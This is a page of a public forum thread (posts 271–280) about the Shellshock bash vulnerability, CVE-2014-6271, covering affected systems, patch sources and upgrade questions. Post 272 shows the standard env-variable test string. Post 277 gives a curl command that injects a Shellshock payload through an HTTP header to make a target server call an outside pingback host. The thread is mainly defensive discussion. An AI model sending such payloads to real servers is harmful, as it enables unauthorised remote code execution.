CVE-2014-6271: Remote code execution through bash
271–280 of 432 posts
Re: CVE-2014-6271: Remote code execution through bash
#272Earlier quoted context omitted.
Isn't /bin/sh vulnerable to the same thing? At least it seems for me: sh-3.2$ env x='() { :;}; echo vulnerable' /bin/sh -c "echo this is a test" vulnerable this is a test
/bin/sh depends on the system. It might be busybox or a minimal shell (this is common on embedded devices). On some systems like OSX and I think CentOS /bin/sh is just bash. You can check with `/bin/sh --version`.
Re: CVE-2014-6271: Remote code execution through bash
#273Earlier quoted context omitted.
It has not reached the lts mirrors yet, but you can get it from http://incoming.debian.org/debian-buildd/pool/main/b/bash/
As of 7:24 PM GMT the above link has the amd64 .deb for sid. Still waiting on the i386 .deb for sid. Your link and this link ( https://security-tracker.debian.org/tracker/CVE-2014-6271 ) useful when considered together.
Re: CVE-2014-6271: Remote code execution through bash
#274With this bug, bash access to CiscoCallmanager is possible... Tested and working....
Re: CVE-2014-6271: Remote code execution through bash
#275FreeBSD appears to be affected.
...if you've installed bash from ports. The base system doesn't appear to be affected.
Re: CVE-2014-6271: Remote code execution through bash
#276As an example of who might be impacted, since openssh preserves the original command line passed to the ssh server when authenticating a public key that has a fixed command associated in authorized_keys, GitHub and BitBucket security teams are probably both having a really exciting day.
This vulnerability is the kind of reason I would have a stripped-down OpenSSH for public users, if I were them. Hard-code to do what they need, don't use configuration files, remove any features not needed. For example, to print the "You've successfully authenticated, but GitHub does not provide shell access." a user gets trying to ssh to github.com, don't invoke anything, print it directly from the SSH server.
Re: CVE-2014-6271: Remote code execution through bash
#277 curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com'
Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.Re: CVE-2014-6271: Remote code execution through bash
#278Earlier quoted context omitted.
Have you ever looked at the backend web interface of some of the most popular residential wifi routers? It's shell script. Why? It's a cheap and accessible interpreted language; no need to clutter up your tiny embedded OS with the huge requirements of php, perl, etc when you have all the tools you need in busybox. CGI apps execute shell scripts all the time. Even if an app executes an app executes an app executes an…
Fortunately they are unlikely to install bash at all on a router.
Re: CVE-2014-6271: Remote code execution through bash
#279Earlier quoted context omitted.
If you just want to update that package then: apt-get update apt-get install --only-upgrade bash fwiw, Linode's mirrors are up with the latest version yet Digital Ocean's are not. I lose faith in DO everytime I remote into my VM. They just seen like an amateurish shop.
I successfully upgraded bash on my droplets a couple minutes ago.
Re: CVE-2014-6271: Remote code execution through bash
#280I'm a bit confused about how to properly patch my mac. Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install? I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true…